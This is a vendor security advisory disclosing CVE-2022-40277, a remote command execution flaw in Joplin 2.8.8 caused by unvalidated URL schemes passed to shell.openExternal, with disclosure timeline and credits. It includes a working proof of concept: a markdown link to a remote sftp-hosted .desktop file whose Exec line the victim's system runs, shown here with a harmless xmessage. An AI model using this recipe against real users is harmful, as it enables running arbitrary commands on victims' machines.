



## Joplin 2.8.8 – Remote Command Execution

### Summary



#### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Allow all cookies](#)

[Show details](#)

<b>Affected versions</b>	Version 2.8.8
<b>State</b>	Public
<b>Release date</b>	2022-09-26

### Vulnerability

<b>Kind</b>	Remote command execution
<b>Rule</b>	<u>004. Remote command execution</u>
<b>Remote</b>	Yes
<b>CVSSv3 Vector</b>	CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
<b>CVSSv3 Base Score</b>	7.7
<b>Exploit available</b>	Yes
<b>CVE ID(s)</b>	<u>CVE-2022-40277</u>



#### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Allow all cookies](#)

[Show details](#)

the shell.openExternal function.

## Vulnerability

This vulnerability occurs due to improper scheme/protocol validation of external URLs. Here is a small example to give you a better understanding of vulnerability.

Here is a simplified pseudocode:

```
function openInternally (url) {  
  parsed_url = new URL(url)  
  if (parsed_url.protocol === "https:"){  
    if (new RegExp("application-domain.com", "i").test(parsed_url.host)) {  
      return true;  
    }  
  }  
  return false;  
}
```

JavaScript ▾

```
webContents.on("new-window", function (event, url, disposition, options) {  
  if (openInternally(url)) {  
    if ( ... [check of the tab supporting, nothing important] ... ) {  
      var newTab = createNewTab({ ... [settings] ... });  
      preventDefault(newTab);  
    } else {
```



### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

Basically what the application is doing is sending to `shell.openExternal(url)`, any url present in the markdown file.

## Exploitation requirements

To achieve the RCE, the attacker will abuse certain schemes/protocols. Some of these only work on windows, others on MACos, others only work correctly under certain specific Linux distributions. In my case, I used Xubuntu 20.04 (Xfce) to simulate a victim. I chose this distribution because in its default configuration it executes the `payload.desktop` file after mounting the remote location where the payload file is located. In other Linux distributions by default these files are not executed once the remote location is mounted.

In the resources section I will provide you with support material so that you can understand in greater depth what I have just explained.

## Exploitation

To exploit this vulnerability, you must send the following file to a user to open with Joplin:

### exploit.md

```
[exploit] (sftp://user@server/uploads/payload.desktop)
```

### payload.desktop

In the Exec parameter you put the command you want the victim to execute.



#### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

## Evidence of exploitation

```
root@retr02332:/var/sftp/uploads# cat payload.desktop
[Desktop Entry]
Exec=xmessage "RCE by cbelloatfluid"
Type=Application
root@retr02332:/var/sftp/uploads#
```

## Our security policy



### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Allow all cookies](#)

[Show details](#)

- Version: Joplin 2.8.8
- Operating System: GNU/Linux - Xubuntu 20.04 (Xfce)

## Mitigation

There is currently no patch available for this vulnerability.

## Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

# References

**Vendor page** <https://github.com/laurent22/joplin>

## Timeline

- ✓ 2022-09-07  
Vulnerability discovered.
- ✓ 2022-09-08  
Vendor contacted.
- ✓ 2022-09-26  
Public Disclosure.



### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

## Services

Continuous Hacking

One-shot Hacking

Comparative

## Solutions

DevSecOps

Secure Code Review

Red Teaming

Breach and Attack Simulation

Security Testing

Penetration Testing

Ethical Hacking

Vulnerability Management

## Blog

## Certifications

## Partners



### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Allow all cookies](#)

[Show details](#)

## Contact

Copyright © 2022 Fluid Attacks. We hack your software. All rights reserved.

[Service Status](#) – [Terms of Use](#) – [Privacy Policy](#) – [Cookie Policy](#)